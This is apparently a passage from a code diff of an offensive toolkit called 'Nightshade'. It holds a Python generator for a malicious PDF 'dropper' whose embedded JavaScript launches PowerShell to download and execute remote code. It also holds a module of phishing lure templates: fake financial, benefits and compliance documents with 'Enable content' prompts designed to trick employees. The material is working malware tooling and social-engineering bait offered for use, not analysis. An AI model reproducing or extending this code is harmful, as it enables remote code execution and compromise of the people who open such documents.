shell.Run("powershell -Command Start-Sleep -Seconds 5; try {{ Invoke-WebRequest '{delayed_url}' -UseBasicParsing | Invoke-Expression }} catch {{}}", 0, false);
}} catch(e) {{}}
}}, 8000);
)
/S /JavaScript
>>
endobj""")
# Object 10: Font
objects.append(f"""10 0 obj
<<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
endobj""")
# Form field widgets for each field (11+)
for idx, field_name in enumerate(fields_esc):
obj_num = 11 + idx
rect_y = 600 - (idx * 50)
objects.append(f"""{obj_num} 0 obj
<<
/FT /Tx
/T ({field_name})
/Rect [72 {rect_y} 400 {rect_y - 20}]
/BS << /W 1 /S /S >>
/MK << /BC [0 0 0] >>
/Type /Annot
/Subtype /Widget
/DA (/Helv 12 Tf 0 g)
/F 4
/P 6 0 R
>>
endobj""")
# Build PDF file
obj_count = len(objects)
offsets = []
pdf_content = "%PDF-1.7\n%\x00\x00\x00\x00\n"
for i, obj in enumerate(objects):
offsets.append(len(pdf_content))
pdf_content += f"{obj}\n"
xref_offset = len(pdf_content)
pdf_content += "xref\n"
pdf_content += f"0 {obj_count + 1}\n"
pdf_content += "0000000000 65535 f \n"
for offset in offsets:
pdf_content += f"{offset:010d} 00000 n \n"
pdf_content += "trailer\n"
pdf_content += f"<< /Size {obj_count + 1} /Root 1 0 R /ID [<{pdf_id}> <{pdf_id}>] >>\n"
pdf_content += "startxref\n"
pdf_content += f"{xref_offset}\n"
pdf_content += "%%EOF\n"
with open(output_path, "wb") as f:
f.write(pdf_content.encode("latin-1"))
print(f"\n[+] PDF dropper created: {output_path}")
print(f"[+] Lure: {title}")
print(f"[+] Fields: {', '.join(fields)}")
print(f"[+] Template URL: {template_url}")
print(f"[+] Technique: OpenAction JS + secondary delayed JS")
+106
View File
@@ -0,0 +1,106 @@
"""
Nightshade Social Engineering Templates.
Provides realistic-looking document content for lure delivery.
"""
import random
class SocialEngineeringTemplates:
"""Curated document content templates for different lure scenarios."""
# ------------------------------------------------------------------ #
# Excel lure content #
# ------------------------------------------------------------------ #
EXCEL_TEMPLATES = [
{
"title": "Q3 Financial Performance Review",
"headers": ["Revenue (USD)", "Expenses", "Net Profit", "YoY Growth", "ROI"],
"rows": [
["$4,200,000", "$3,100,000", "$1,100,000", "12.4%", "26.2%"],
["$3,800,000", "$2,900,000", "$900,000", "8.7%", "23.7%"],
["$5,100,000", "$3,600,000", "$1,500,000", "15.2%", "29.4%"],
["$2,900,000", "$2,300,000", "$600,000", "5.1%", "20.7%"],
],
"disclaimer": "CONFIDENTIAL — For authorized recipients only. Unauthorized distribution is prohibited.",
"enable_content_msg": "This document contains encrypted analytics. Enable content to view interactive dashboard.",
},
{
"title": "Employee Benefits Enrollment 2025",
"headers": ["Plan", "Coverage Type", "Annual Premium", "Employer Contribution", "Deductible"],
"rows": [
["Health Plus", "Medical/Dental", "$8,400", "$6,300 (75%)", "$500"],
["VisionPro", "Vision", "$720", "$540 (75%)", "$50"],
["LifeSecure", "Life Insurance", "$480", "$480 (100%)", "$0"],
["FlexSpend", "FSA/HSA", "$3,200", "$1,600 (50%)", "$0"],
],
"disclaimer": "This document contains personally identifiable information (PII). Handle in accordance with company privacy policy.",
"enable_content_msg": "Enable content to access enrollment forms and personalized rate calculators.",
},
{
"title": "Security Audit Report — Q4 Findings",
"headers": ["Vulnerability", "Severity", "Affected Systems", "CVSS Score", "Remediation Deadline"],
"rows": [
["CVE-2024-38112", "Critical", "Exchange Server (3)", "9.8", "2024-12-01"],
["CVE-2024-38077", "Critical", "RDS Gateway (2)", "9.1", "2024-11-15"],
["CVE-2024-21340", "High", "Domain Controllers (4)", "8.4", "2024-11-30"],
["MS SQL Injection", "High", "Finance App (1)", "7.8", "2025-01-15"],
],
"disclaimer": "CONFIDENTIAL — Security-sensitive document. Distribution limited to IT security team.",
"enable_content_msg": "Enable content to view detailed remediation steps and CVE descriptions.",
},
]
# ------------------------------------------------------------------ #
# PDF lure content #
# ------------------------------------------------------------------ #
PDF_TEMPLATES = [
{
"title": "Employee Confidentiality Agreement",
"subtitle": "Please review and sign this document to continue your employment",
"fields": ["Full Name", "Title/Position", "Department", "Employee ID", "Date", "Signature"],
"body": [
"By signing this document, you agree to maintain the confidentiality of all company information,",
"proprietary materials, and trade secrets. Unauthorized disclosure of any confidential information",
"may result in disciplinary action, including termination of employment and legal prosecution.",
"",
"This agreement shall remain in effect during your employment and for a period of five (5) years",
"following the termination of your employment, regardless of the reason for such termination.",
"",
"Digital rights management (DRM) features are enabled for document security purposes.",
],
},
{
"title": "Quarterly Compliance Self-Assessment",
"subtitle": "All employees must complete this form by the end of the fiscal quarter",
"fields": ["Employee Name", "Employee ID", "Manager Name", "Department", "Assessment Period", "Certification Date"],
"body": [
"I certify that I have completed all required compliance training for this period.",
"I confirm that I have reported any potential conflicts of interest to my manager.",
"I acknowledge my responsibility to protect company data and customer information.",
"I understand that failure to comply may result in corrective action.",
"",
"This document is digitally managed and tracked for audit purposes.",
],
},
{
"title": "IT Security Policy Acknowledgement",
"subtitle": "Annual security policy review and acknowledgement",
"fields": ["Employee Name", "Department", "Date of Review", "Manager Approval", "Signature", "Reviewed By"],
"body": [
"I acknowledge that I have read and understand the company's IT Security Policy.",
"I agree to use company resources in accordance with the Acceptable Use Policy.",
"I will report any security incidents or suspicious activity immediately.",
"I understand that my network activity may be monitored for security purposes.",
"",
"Failure to comply with IT Security Policy may result in disciplinary action.",
],
},
]
@classmethod
def random_excel_template(cls) -> dict:
return random.choice(cls.EXCEL_TEMPLATES)
@classmethod
def random_pdf_template(cls) -> dict:
return random.choice(cls.PDF_TEMPLATES)